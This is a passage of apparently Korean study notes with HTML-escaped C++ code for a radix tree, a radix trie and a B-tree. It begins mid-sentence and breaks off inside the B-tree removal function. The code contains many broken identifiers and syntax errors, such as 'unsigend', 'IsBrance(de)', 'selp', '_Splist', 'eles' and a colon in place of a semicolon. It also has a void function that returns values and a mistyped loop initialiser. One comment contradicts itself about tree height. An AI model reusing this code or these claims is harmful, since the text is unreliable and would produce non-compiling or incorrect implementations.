트리의 높이는 최대 M+1이다.</p><p>&nbsp;&nbsp;&nbsp; 삽입<br>&nbsp;&nbsp; -레벨에 따른 비트검사를 통해 Leaf로 이동<br>&nbsp;&nbsp; -새로운 노드는 Leaf에 추가한다.<br>&nbsp;검색<br>&nbsp;&nbsp; -검색키의 비트검사를 통해 노드를 탐색<br>&nbsp;삭제<br>&nbsp;&nbsp; -삭제키키의 비트검사를 통해 노드를 탐색<br>&nbsp;&nbsp; -세가지 경우로 나누어 노드를 삭제(이진 검색트리와 동일)<br>&nbsp;&nbsp;&nbsp; 경우1: 오른쪽자식이 없을때<br>&nbsp;&nbsp;&nbsp; 경우2: 오른쪽 자식의 왼쪽 자식이 없을째<br>&nbsp;&nbsp;&nbsp; 경우3: 그외의 경우<br>&nbsp;&nbsp;&nbsp; <br>*/<br>template &lt;class T&gt; class RadixTreeMap : public BinaryTree&lt;T&gt;<br>{<br>public:<br>&nbsp;RadixTreeMap() : BinaryTree&lt;T&gt;() { m_nCount = 0; }<br>&nbsp;~RadixTreeMap() {}<br>&nbsp;//utilities<br>&nbsp;long GetCount() const { return m_nCount;}<br>&nbsp;bool IsEmpty() const { return m_nCount == 0;}<br>&nbsp;void RemoveAll() { BinaryTree&lt;T&gt;::RemoveAll(); m_nCount =0;}<br>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value) const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>protected:<br>&nbsp;unsigned long bits(const T&amp; x, unsigned long k, unsigned long j) const<br>&nbsp;{<br>&nbsp;&nbsp;return (x &gt;&gt; k) &amp; ~(~0 &lt;&lt; j);<br>&nbsp;}<br>&nbsp;long m_nCount;<br>};<br>//사용자정의 타입에서 사용하려면 operator&gt;&gt;를 구현해야 한다. <br>template &lt;class T&gt;<br>bool RadixTreeMap&lt;T&gt;::Insert(const T&amp; value) <br>{<br>&nbsp;Node *p, *t;<br>&nbsp;unsigned b = 0; //검사 대상 비트<br>&nbsp;// Leaf노드까지 진행<br>&nbsp;p = m_pNodeHead;<br>&nbsp;t = m_pNodeHead-&gt;pLeft;<br>&nbsp;while (t!=m_pNodeTail){<br>&nbsp;&nbsp;if(value == t-&gt;data) return false; //동일키 삽입금지<br>&nbsp;&nbsp;p = t;<br>&nbsp;&nbsp;t = bits(value,b++,1)? t-&gt;pRight:t-&gt;pLeft;<br>&nbsp;}<br>&nbsp;//새 노드 생성해서 Leaf에 추가<br>&nbsp;t = new Node;<br>&nbsp;t-&gt;data = value;<br>&nbsp;t-&gt;pLeft = m_pNodeTail;<br>&nbsp;t-&gt;pRight = m_pNodeTail;<br>&nbsp;if (bits(value,b-1,1) &amp;&amp; p != m_pNodeHead) p-&gt;pRight = t;<br>&nbsp;else p-&gt;pLeft = t;<br>&nbsp;m_nCount ++;<br>&nbsp;return true;<br>}<br>template &lt;class T&gt; <br>bool RadixTreeMap&lt;T&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>&nbsp;Node* t = m_pNodeHead-&gt;pLeft;<br>&nbsp;unsigned b = 0;<br>&nbsp;while(t != m_pNodeTail){<br>&nbsp;&nbsp;if(t-&gt;data == key){<br>&nbsp;&nbsp;&nbsp;value = t-&gt;data;<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;t = bits(key,b++,1)?t-&gt;pRight:t-&gt;pLeft;<br>&nbsp;}<br>&nbsp;return false;<br>}<br>template &lt;class T&gt;<br>bool RadixTreeMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;if(IsEmpty()) return false;<br>&nbsp;Node *del,*delp,*cdd,*cddp;<br>&nbsp;unsigned b = 0;<br>&nbsp;//find del node<br>&nbsp;delp = m_pNodeHead;<br>&nbsp;del = m_pNodeHead-&gt;pLeft;<br>&nbsp;while (del != m_pNodeTail &amp;&amp; !(key==del-data))<br>&nbsp;{<br>&nbsp;&nbsp;delp = del;<br>&nbsp;&nbsp;del = bits(key,b++,1)?del-&gt;pRight:del-&gt;pLeft;<br>&nbsp;}<br>&nbsp;if(del == m_pNodeTail) return false;<br>&nbsp;if(del-&gt;pRight == m_pNodeTail) { //case 1<br>&nbsp;&nbsp;cdd =del-&gt;pLeft;<br>&nbsp;} else if (del-&gt;pRight-&gt;pLeft == m_pNodeTail) {<br>&nbsp;&nbsp;//case 2<br>&nbsp;&nbsp;cdd = del-&gt;pRight;<br>&nbsp;&nbsp;cdd-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;} else { // case 3<br>&nbsp;&nbsp;cddp = del;<br>&nbsp;&nbsp;cdd = del-&gt;pRight;<br>&nbsp;&nbsp;while (cdd-&gt;pLeft != m_pNodeTail) {<br>&nbsp;&nbsp;&nbsp;cddp = cdd;<br>&nbsp;&nbsp;&nbsp;cdd = cdd-&gt;pLeft;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;cddp-&gt;pLeft = cdd-&gt;pRight;<br>&nbsp;&nbsp;cdd-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;&nbsp;cdd-&gt;pRight = del-&gt;pRight;<br>&nbsp;}<br>&nbsp;if (bits(key,b-1,1)&amp;&amp; delp!= m_pNodeHead)<br>&nbsp;&nbsp;delp-&gt;pRight = cdd;<br>&nbsp;else<br>&nbsp;&nbsp;delp-&gt;pLeft = cdd;<br>&nbsp;delete del;<br>&nbsp;m_nCount --;<br>&nbsp;return true;<br>}</p><p>/*<br>&nbsp;Radix Trie Search<br>&nbsp;-Trie의 노드는 정보노드와 분기노드 두종류가 있다.<br>&nbsp; *정보노드(Information Node):실제 데이타를 저장<br>&nbsp; *분기노드(Branch Node): 빈노드<br>&nbsp;-정보노드는 항상 Leaf에 존재 <br>&nbsp;-모든 내부노드는 분기노드이다.<br>&nbsp;-Radix Tree와 유사하게 Bit따라 좌/우 판단</p><p>&nbsp;특징<br>&nbsp; -자료의 입력순서와 무관<br>&nbsp; -키의 중복이 허용되지 않음<br>&nbsp; -키의 비트수가M이라면<br>&nbsp;&nbsp; *자료는 2의 M승개 입력될 수 있고<br>&nbsp;&nbsp; *트리의 높이는 M+1을 넘지 않느다.<br>&nbsp;&nbsp;&nbsp; (즉 높이는 log(M) +1 이다)<br>&nbsp; -키의 비교는 Lear에서 한번만 하면 된다.<br>&nbsp;&nbsp; *키의 비교가 복잡한 경우에 유용.<br>*/<br>template &lt;class T&gt; class RadixTrieMap : public BinaryTree&lt;T&gt;<br>{<br>public:<br>&nbsp;RadixTrieMap() : BinaryTree&lt;T&gt;(){m_nCount = 0;}<br>&nbsp;~RadixTrieMap(){}<br>&nbsp;//utilities<br>&nbsp;long GetCount() const { return m_nCount;}<br>&nbsp;long IsEmpty() const { return m_nCount ==0;}<br>&nbsp;void RemoveAll() { BinaryTree&lt;T&gt;::RemoveAll(); m_nCount =0;}<br>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value) const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>protected:<br>&nbsp;unsigned long bits(const T&amp; x, unsigned long k, unsigned long j) const<br>&nbsp;{<br>&nbsp;&nbsp;return (x &gt;&gt; k) &amp; ~(~0 &lt;&lt; j);<br>&nbsp;}<br>&nbsp;bool IsBranch(Node *p) const<br>&nbsp;{<br>&nbsp;&nbsp;return (p-&gt;pLeft != m_pNodeTail || p-&gt;pRight != m_pNodeTail);<br>&nbsp;}<br>&nbsp;long m_nCount;<br>};</p><p>template &lt;class T&gt;<br>bool RadixTrieMap&lt;T&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>&nbsp;Node *t;<br>&nbsp;unsigned b = 0;<br>&nbsp;t = m_pNodeHead-&gt;pLeft;</p><p>&nbsp;while ( IsBranch(t))<br>&nbsp;{<br>&nbsp;&nbsp;t = bits(key,b++,1)?t-&gt;pRight:t-&gt;pLeft;<br>&nbsp;}</p><p>&nbsp;if(t-&gt;data == key)<br>&nbsp;{<br>&nbsp;&nbsp;value = t-&gt;data;<br>&nbsp;&nbsp;return true;<br>&nbsp;}<br>&nbsp;else <br>&nbsp;&nbsp;return false;<br>}<br>/*<br>&nbsp;case1:첫번째 데이타 <br>&nbsp;case2:부모가 분기노드<br>&nbsp;case3:부모가 정보노드<br>*/<br>template &lt;class T&gt;<br>bool RadixTrieMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;unsigned b = 0;<br>&nbsp;Node *gp, *p, *t;<br>&nbsp;gp = p = m_pNodeHead;<br>&nbsp;t = m_pNodeHead-&gt;pLeft;<br>&nbsp;while (t!= m_pNodeTail)<br>&nbsp;{<br>&nbsp;&nbsp;if(value == t-&gt;data)return false; // 중복금지<br>&nbsp;&nbsp;gp = p;<br>&nbsp;&nbsp;p = t;<br>&nbsp;&nbsp;t = bits(value,b++,1)?t-&gt;pRight:t-&gt;pLeft;<br>&nbsp;}<br>&nbsp;b--;<br>&nbsp;if(p==m_pNodeHead){ // case1<br>&nbsp;&nbsp;t = new Node;<br>&nbsp;&nbsp;t-&gt;pLeft = t-&gt;pRight = m_pNodeTail;<br>&nbsp;&nbsp;t-&gt;data = value;<br>&nbsp;&nbsp;p-&gt;pLeft = t;<br>&nbsp;} else if (IsBranch(p)) { // case 2<br>&nbsp;&nbsp;t = new Node;<br>&nbsp;&nbsp;t-&gt;pLeft = t-&gt;pRight = m_pNodeTail;<br>&nbsp;&nbsp;t-&gt;data = value;<br>&nbsp;&nbsp;if(bits(value, b, 1))p-&gt;pRight = t;<br>&nbsp;&nbsp;else p-&gt;pLeft = t;<br>&nbsp;} else { // case 3<br>&nbsp;&nbsp;do {<br>&nbsp;&nbsp;&nbsp;t = new Node;<br>&nbsp;&nbsp;&nbsp;t-&gt;pLeft = t-&gt;pRight = m_pNodeTail;<br>&nbsp;&nbsp;&nbsp;if (gp != m_pNodeHead &amp;&amp; bits(value, b-1, 1))<br>&nbsp;&nbsp;&nbsp;&nbsp;gp-&gt;pRight =t;<br>&nbsp;&nbsp;&nbsp;else gp-&gt;pLeft = t;<br>&nbsp;&nbsp;&nbsp;gp = t;<br>&nbsp;&nbsp;&nbsp;b++;<br>&nbsp;&nbsp;} while (bits(value, b-1, 1) == bits(p-&gt;data, b-1, 1));<br>&nbsp;&nbsp;t = new Node;<br>&nbsp;&nbsp;t-&gt;data = value;<br>&nbsp;&nbsp;t-&gt;pLeft = t-&gt;pRight = m_pNodeTail;<br>&nbsp;&nbsp;if(bits(value,b-1,1)) {<br>&nbsp;&nbsp;&nbsp;gp-&gt;pRight = t;<br>&nbsp;&nbsp;&nbsp;gp-&gt;pLeft = p;<br>&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;gp-&gt;pLeft = t;<br>&nbsp;&nbsp;&nbsp;gp-&gt;pRight = p;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;m_nCount ++;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;case1: 형제노드가 분기노드<br>&nbsp;case2: 형제노드가 정보노드<br>&nbsp;<br>*/<br>template &lt;class T&gt;<br>bool RadixTrieMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;Node *delp, *del, *sib, *cp;<br>&nbsp;unsigend b = 0, cpb = 0;<br>&nbsp;cp = delp = m_pNodeHead;<br>&nbsp;del = m_pNodeHead-&gt;pLeft;<br>&nbsp;while (IsBrance(de)) {<br>&nbsp;&nbsp;delp = del;<br>&nbsp;&nbsp;if (del-&gt;pLeft != m_pNodeTail &amp;&amp;<br>&nbsp;&nbsp;&nbsp;del-&gt;pRight != m_nNodeTail &amp;&amp;<br>&nbsp;&nbsp;&nbsp;(IsBranch(del-&gt;pLeft) || IsBranch(del-&gt;pRight))) {<br>&nbsp;&nbsp;&nbsp;// 자식이 두개인 노드: cp가 된다.<br>&nbsp;&nbsp;&nbsp;cp = del;<br>&nbsp;&nbsp;&nbsp;cpb = b;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;del = bits(key, b++,1)?del-&gt;pRight: del-&gt;pLeft;<br>&nbsp;}<br>&nbsp;if(!(del-&gt;data == key)) return false; // not found<br>&nbsp;// 경우 1,2 공통<br>&nbsp;delete del;<br>&nbsp;// sib찾기<br>&nbsp;if(delp != m_pNodeHead &amp;&amp; bits(key,b-1,1)) {<br>&nbsp;&nbsp;delp-&gt;pRight = m_pNodeTail;<br>&nbsp;&nbsp;sib = selp-&gt;pLeft;<br>&nbsp;} else {<br>&nbsp;&nbsp;delp-&gt;pLeft = m_pNodeTail;<br>&nbsp;&nbsp;sib = delp-&gt;pRight;<br>&nbsp;}<br>&nbsp;if(!IsBranch(sib)){ //case 2<br>&nbsp;&nbsp;delp = cp;<br>&nbsp;&nbsp;del = bits(key,cpb,1)? delp-&gt;pRight:delp-&gt;pLeft;<br>&nbsp;&nbsp;b = cpb + 1;<br>&nbsp;&nbsp;while (IsBrach(del)) {<br>&nbsp;&nbsp;&nbsp;delp = del;<br>&nbsp;&nbsp;&nbsp;del = bits(key,b++, 1)?<br>&nbsp;&nbsp;&nbsp;&nbsp;delp-&gt;pRight : delp-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;delete delp;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if(cp != m_pNodeHead &amp;&amp; bits(key,cpb,1))<br>&nbsp;&nbsp;&nbsp;cp-&gt;pRight = sib;<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;cp-&gt;pLeft = sib;<br>&nbsp;}<br>&nbsp;m_nCount --;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;B-Tree<br>&nbsp; Balanced Tree<br>&nbsp;&nbsp; AVL Tree, 2-3(-4) Tree, Red-Black Tree, B-Tree ...<br>&nbsp; B-Tree?<br>&nbsp;&nbsp; -하나의 노드에 여러자료가 배치되는 트리구조<br>&nbsp;&nbsp; -한 노드에 M개의 자료가 배치되면 M차 B-Tree<br>&nbsp;&nbsp;&nbsp; *M이 짝수냐 홀수냐에 따라 알고리즘이 다르다.<br>&nbsp;&nbsp;&nbsp; *다음 알고리즘은 M이 3보다 크거나 같은 홀수라고 가정한다.<br>&nbsp;&nbsp;&nbsp;짝수가 더어렵다.<br>&nbsp;&nbsp;&nbsp;2-3 Tree == 2차 B-tree<br>&nbsp;&nbsp;&nbsp;2-3-4 Tree == 3차 B-tree<br>&nbsp;&nbsp; 규칙1<br>&nbsp;&nbsp;&nbsp; -노드의 자료수가 N이라면, 자식의 수는 N+1이어야 한다.<br>&nbsp;&nbsp;&nbsp; -각 노드의 자료는 정렬된 상태여야 한다.<br>&nbsp;&nbsp;&nbsp; -노드의 자료 Dk의 왼쪽 서브트리는 DK보다 작은 값들이고, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DK의 오른쪽 서브트리 DK보다 큰 값들이어야 한다.</p><p>&nbsp;&nbsp; 규칙2<br>&nbsp;&nbsp;&nbsp; -Root노드는 적어도 2개이상의 자식을 가져야 한다.<br>&nbsp;&nbsp;&nbsp; -Root드를 제외한 모든 노드는 적어도 M/2개의 자료를 가지고 있어야 한다.<br>&nbsp;&nbsp;&nbsp; -외부노드로 가는 경로의 길이는 모두 같다.<br>&nbsp;&nbsp;&nbsp;&nbsp; *외부노드는 모두 같은 레벨<br>&nbsp;&nbsp;&nbsp; -입력 자료는 중복될 수 없다.</p><p>*/<br>template &lt;class T&gt; class BTreeMap<br>{<br>public:<br>&nbsp;BTreeMap(int dim = 5) ;<br>//&nbsp;~BReeMap();<br>&nbsp;//utilities<br>&nbsp;long GetCount() const { return m_nCount; }<br>&nbsp;bool IsEmpty() const { return m_nCount ==0; }<br>&nbsp;void RemoveAll();<br>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value) const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>protected:<br>&nbsp;typedef struct Node* PNODE;<br>&nbsp;struct Node {<br>&nbsp;&nbsp;T *m_pKeys;<br>&nbsp;&nbsp;Node **m_pChildren;<br>&nbsp;&nbsp;int m_nKeys;<br>&nbsp;&nbsp;Node(int dim) {<br>&nbsp;&nbsp;&nbsp;m_pKeys = new T[dim];<br>&nbsp;&nbsp;&nbsp;m_pChildren = new Node* [dim+1];<br>&nbsp;&nbsp;&nbsp;for(int i = 0; i&lt;= dim; i++) m_pChildren[i] = 0;<br>&nbsp;&nbsp;&nbsp;m_nKeys = 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;~Node() {<br>&nbsp;&nbsp;&nbsp;delete [] m_pKeys;<br>&nbsp;&nbsp;&nbsp;delete [] m_pChildren;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;PNODE&amp; Left(int n) { return m_pChildren[n]; }<br>&nbsp;&nbsp;PNODE&amp; Right(int n) { return m_pChildren[n+1]; }<br>&nbsp;&nbsp;T&amp; Key(int n) { return m_pKeys[n]; }<br>&nbsp;&nbsp;int&amp; Size() { return m_nKeys; }<br>&nbsp;&nbsp;void AddValue(const T&amp; value, Node* left, Node* right)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int i;<br>&nbsp;&nbsp;&nbsp;i = m_nKeys; // Insert Sort<br>&nbsp;&nbsp;&nbsp;while (i&gt;0 &amp;&amp; Key(i-1) &gt; value) {<br>&nbsp;&nbsp;&nbsp;&nbsp;Key(i) = Key(i-1);<br>&nbsp;&nbsp;&nbsp;&nbsp;Left(i+1) = Left(i);<br>&nbsp;&nbsp;&nbsp;&nbsp;i--;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;m_nKeys++;<br>&nbsp;&nbsp;&nbsp;Key(i) = value;<br>&nbsp;&nbsp;&nbsp;Left(i) = left;<br>&nbsp;&nbsp;&nbsp;Right(i) = right;;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;void DelValue(int index)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;for ( int i = index +1; i &lt;Size(); i++) {<br>&nbsp;&nbsp;&nbsp;&nbsp;Key(i-1) = Key(i);<br>&nbsp;&nbsp;&nbsp;&nbsp;Left(i-1) = Left(i);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;Left(i-1) = Left(i);<br>&nbsp;&nbsp;&nbsp;m_nKeys--;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;void FindKey(const T&amp; key)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;for(int i =0 ; i&lt; m_nKeys; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;if(key == Key(i)) return i;<br>&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;void Clear(int dim)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;m_nKeys = 0;<br>&nbsp;&nbsp;&nbsp;for(int i =0; i&lt;= dim; i++) m_pChildren[i] = 0;<br>&nbsp;&nbsp;}<br>&nbsp;};<br>&nbsp;Node* m_pNodeHead;<br>&nbsp;void _RemoveSubtree(Node *pNode);<br>&nbsp;Node* _Split(const T&amp; key, Node* pivot);<br>&nbsp;bool _BorrowKey(Node *p, int index);<br>&nbsp;Node* _BindNode(Node* p, int index);<br>&nbsp;T _SwapKey(Node *del, int index);<br>&nbsp;long m_mCount;<br>&nbsp;long m_nDim; // B-Tree의 차수<br>};<br>template &lt;class T&gt;<br>bool BTreeMap&lt;T&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>&nbsp;Node *t;<br>&nbsp;int index;<br>&nbsp;t = m_pNodeHead-&gt;Left(0);<br>&nbsp;while ( t != 0 &amp;&amp; (index = t-&gt;FindKey(key)) &lt;0)<br>&nbsp;{<br>&nbsp;&nbsp;for(int i = 0; i&lt; t-&gt;Size() &amp;&amp; key &gt; t-&gt;Key(i); i++);<br>&nbsp;&nbsp;t = t-&gt;Left(i);<br>&nbsp;}<br>&nbsp;if(t == 0) return false; // not found<br>&nbsp; value = t-&gt;Key(index); // found<br>&nbsp; return true;<br>}<br>/*<br>&nbsp;삽입 알고리즘1<br>&nbsp;-자료는 항상 Leaf 노드에 추가된다.<br>&nbsp; *Leaf의 선택은 삽입될 키의 하향 탐색에 의해 결정<br>&nbsp;-추가될 Leaf노드에 여유가 있다면 그냥 삽입<br>&nbsp;-추가될 Lear노드에 여유가 없다면 '분할'하기<br>&nbsp;<br>&nbsp;삽입 알고리즘2<br>&nbsp;-분할을 위해서는 키 하나를 부모로 올려야 함<br>&nbsp; * 부모가 꽈 차있다면 문제!<br>&nbsp;-삽입을 위한 하향 탐색을 하면서 꽉찬 노드는 분할 해 주어야 함.</p><p>*/<br>/*<br>&nbsp;pivot : 분할하고자하는 노드의 부모<br>&nbsp;split : 분할하고자하는 노드 <br>&nbsp;key : 삽입하고자하는 키<br>&nbsp;return 값 : 분할된 노드의 부모<br>*/ <br>template &lt;class T&gt;<br>BTreeMap&lt;T&gt;::Node* BTreeMap&lt;T&gt;::_Split(const T&amp; key, Node* pivot)<br>{<br>&nbsp;Node *left, *right;<br>&nbsp;Node *split; // 리턴할 노드<br>&nbsp;int i,j;<br>&nbsp;right = new Node(m_nDim);<br>&nbsp;// case 1 : 분할할 노드가 Root인 경우<br>&nbsp;if(pivot == m_pNodeHead) {<br>&nbsp;&nbsp;split = pivot-&gt;Left(0);; // child == root;<br>&nbsp;&nbsp;//left child 생성<br>&nbsp;&nbsp;left = new Node(m_nDim);<br>&nbsp;&nbsp;for(i=0;i&lt;m_nDim/2;i++) {<br>&nbsp;&nbsp;&nbsp;left-&gt;Key(i) = split-&gt;Key(i);<br>&nbsp;&nbsp;&nbsp;left-&gt;Left(i) = split-&gt;Left(i);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;left-&gt;Left(i) = split-&gt;Left(i);<br>&nbsp;&nbsp;left-&gt;Size() = m_nDim/2;<br>&nbsp;&nbsp;// right child 생성<br>&nbsp;&nbsp;for (i=m_nDim/2+1, j=0; i&lt;m_nDim; i++,j++){<br>&nbsp;&nbsp;&nbsp;right-&gt;Key(j) = split-&gt;Key(i);<br>&nbsp;&nbsp;&nbsp;right-&gt;Left(j) = split-&gt;Left(i);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;right-&gt;Left(j) = split-&gt;Left(i);<br>&nbsp;&nbsp;right-&gt;Size() = m_nDim/2;<br>&nbsp;&nbsp;//부모노드 정리<br>&nbsp;&nbsp;T temp = split-&gt;Key(m_nDim/2);<br>&nbsp;&nbsp;split-&gt;Clear(m_nDim);<br>&nbsp;&nbsp;split-&gt;AddValue(temp,left,right);<br>&nbsp;} else { // case 2: 분할할 노드가 Root가 아닌경우<br>&nbsp;&nbsp;// 분할할 노드를 찾기<br>&nbsp;&nbsp;for(i=0;i&lt;pivot-&gt;Size() &amp;&amp; key &gt; pivot-&gt;Key(i); i++);<br>&nbsp;&nbsp;//왼쪽 노드는 이미 있는 노드이므로 갯수만 조정<br>&nbsp;&nbsp;left = pivot-&gt;Left(i);<br>&nbsp;&nbsp;left-&gt;Size() = m_nDim/2;<br>&nbsp;&nbsp;//오른쪽 노드 생성<br>&nbsp;&nbsp;for(i-m_nDim/2+1, j=0;i&lt;m_nDim;i++, j++) {<br>&nbsp;&nbsp;&nbsp;right-&gt;Key(j) = left-&gt;Key(i);<br>&nbsp;&nbsp;&nbsp;right-&gt;Left(j) = left-&gt;Left(i);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;right-&gt;Left(j) = left-&gt;Left(i);<br>&nbsp;&nbsp;right-&gt;Size() = m_nDim /2;<br>&nbsp;&nbsp;//중간키를 부모에 삽입<br>&nbsp;&nbsp;pivot-&gt;AddValue(left-&gt;Key(m_nDim/2),left,right);<br>&nbsp;&nbsp;split = pivot;<br>&nbsp;}<br>&nbsp;return split;<br>}<br>template &lt;class T&gt;<br>bool BTreeMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;Node *t, *p;<br>&nbsp;int i;<br>&nbsp;p = m_pNodeHead;<br>&nbsp;t = m_pNodeHead-&gt;Left(0);<br>&nbsp;if(t==0){ //root노드가 없다면 생성해 주어야함<br>&nbsp;&nbsp;t = new Node(m_nDim);<br>&nbsp;&nbsp;m_pNodeHead-&gt;Left(0) = t;<br>&nbsp;}<br>&nbsp;while(t!=0) {<br>&nbsp;&nbsp;if(t-&gt;FindKey(value) &gt;=0) // 중복키 삽입 금지<br>&nbsp;&nbsp;&nbsp;return false;<br>&nbsp;&nbsp;if(t-&gt;Size() == m_nDim) //꽉찬 노드이면 분할<br>&nbsp;&nbsp;&nbsp;t =_Splist(value,p);<br>&nbsp;&nbsp;p = t;<br>&nbsp;&nbsp;for(i=0;i&lt;t-&gt;Size() &amp;&amp; value &gt; t-&gt;Key(i); i++);<br>&nbsp;&nbsp;t = t-&gt;Left(i);<br>&nbsp;}<br>&nbsp;p-&gt;AddValue(value,0,0);<br>&nbsp;m_nCount++:<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;B-Tree삭제 알고리즘<br>&nbsp; -삭제하고자 하는 자료가 있는 노드가<br>&nbsp;&nbsp; *삭제후 자료수가 M/2 이상이 되도록 보장해야 함!<br>&nbsp; -형제에게 빌리기 VS 형제와 결합하기<br>&nbsp;&nbsp; *빌리기:형제가 M/2보다 많은 자료를 가지고 있다면<br>&nbsp;&nbsp; *결합하기:형제에게서 빌릴 수 없다면</p><p>&nbsp; -삭제키가 내부노드인 경우<br>&nbsp;&nbsp; *대체키를 찾아 대체해야 함(이진트리와 동일)<br>&nbsp; -삭제를 위한 하향탐색을 하면서 자료수가 M/2이하인 노드는 형제에게 빌리든지 결합해야함</p><p>&nbsp;&nbsp;&nbsp;&nbsp; <br>*/<br>/*<br>&nbsp;p : 삭제할 노드의 부모노드 <br>&nbsp;index : 삭제할 노의의 index<br>*/<br>template &lt;class T&gt;<br>bool BTreeMap&lt;T&gt;::_BorrowKey(Node *p, int index)<br>{<br>&nbsp;int from, to;<br>&nbsp;Node *p1, *p2;<br>&nbsp;to = index;<br>&nbsp;if(index == p-&gt;Size()) // 가장 오른쪽인 경우 왼쪽 형제에게 빌림<br>&nbsp;&nbsp;from = index -1;<br>&nbsp;else // 아니면 오른쪽 형제에게서 빌림<br>&nbsp;&nbsp;from = index + 1;<br>&nbsp;p1 = p-&gt;Left(from); // p1 : 빌려주는 노드<br>&nbsp;p2 = p-&gt;Left(to); // p2 : 빌리는 노드<br>&nbsp;if (p1-&gt;Size() &lt;= m_nDim/2) //빌려줄 키가 없을때 실패를 리턴<br>&nbsp;&nbsp;return false;<br>&nbsp;if(from &gt; to) { // 오른쪽 형제에게서 빌림<br>&nbsp;&nbsp;p2-&gt;AddValue(p-&gt;Key(to),p2-&gt;Left(p2-&gt;Size()),p1-&gt;Left(0));<br>&nbsp;&nbsp;p-&gt;Key(to) = p1-&gt;Key(0);<br>&nbsp;&nbsp;p1-&gt;DelValue(0);<br>&nbsp;} eles { // 왼쪽 형제에게서 빌림<br>&nbsp;&nbsp;p2-&gt;AddValue(p-&gt;Key(form,p1-&gt;Left(p1-&gt;Size()), p2-&gt;Left(0));<br>&nbsp;&nbsp;p-&gt;Key(from) = p1-&gt;key(p1-&gt;Size() -1);<br>&nbsp;&nbsp;p1-&gt;DelValue(p1-&gt;Size() -1));<br>&nbsp;}<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>BTreeMap&lt;T&gt;::Node* BTreeMap&lt;T&gt;::_BindNode(Node* p, int index)<br>{<br>&nbsp;Node *left, *right;<br>&nbsp;int i;<br>&nbsp;if (index == p-&gt;Size()) index--; // 가장 오른쪽이면 index 감소<br>&nbsp;left = p-&gt;Left(index);<br>&nbsp;right = p-&gt;Right(index);<br>&nbsp;left-&gt;Key(left-&gt;Size()++) = p-&gt;Key(index); //왼쪽노드에 부모키를 복사<br>&nbsp;for(i=0; i&lt;right-&gt;Size(); i++) { //왼쪽노드에 오른쪽 노드를 복사<br>&nbsp;&nbsp;left-&gt;Key(left-&gt;Size()) = right-&gt;Key(i);<br>&nbsp;&nbsp;left-&gt;Left(left-&gt;Size()++) = right-&gt;Left(i);<br>&nbsp;}<br>&nbsp;left-&gt;Left(left-&gt;Size()) = right-&gt;Left(i);<br>&nbsp;p-&gt;DelValue(index); //부모노드에서 결합한 키를 삭제<br>&nbsp;p-&gt;Left(index) = left; // 포인터 조절<br>&nbsp;delete right;<br>&nbsp;if(p-&gt;Size() == 0) { // root노드일 수 밖에 없음<br>&nbsp;&nbsp;delete p;<br>&nbsp;&nbsp;m_pNodeHead-&gt;Left(0) = left;<br>&nbsp;}<br>&nbsp;return left; // 결합된 노드를 리턴<br>}<br>template &lt;class T&gt;<br>T BTreeMap&lt;T&gt;::_SwapKey(Node* del, int index)<br>{<br>&nbsp;Node *cdd, *cddp; <br>&nbsp;cddp = del;<br>&nbsp;cdd = cddp-&gt;Right(index); // 삭제키의 오른쪽 자식<br>&nbsp;while (cdd-&gt;Left(0) != 0)<br>&nbsp;{<br>&nbsp;&nbsp;cddp = cdd;<br>&nbsp;&nbsp;cdd = cdd-&gt;Left(0);<br>&nbsp;}<br>&nbsp;del-&gt;Key(index) = cdd-&gt;Key(0); // 키대체<br>&nbsp;return cdd-&gt;Key(0);<br>} <br>template &lt;class T&gt;<br>bool BTreeMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;Node *t, *p;<br>&nbsp;int pi = 0; // 부모의 index<br>&nbsp;int ti = 0; // 현재노드의 index<br>&nbsp;T value = key;<br>&nbsp;p = m_pNodeHead;<br>&nbsp;t = m_pNodeHead-&gt;Left(0);<br>&nbsp;while(t != 0) 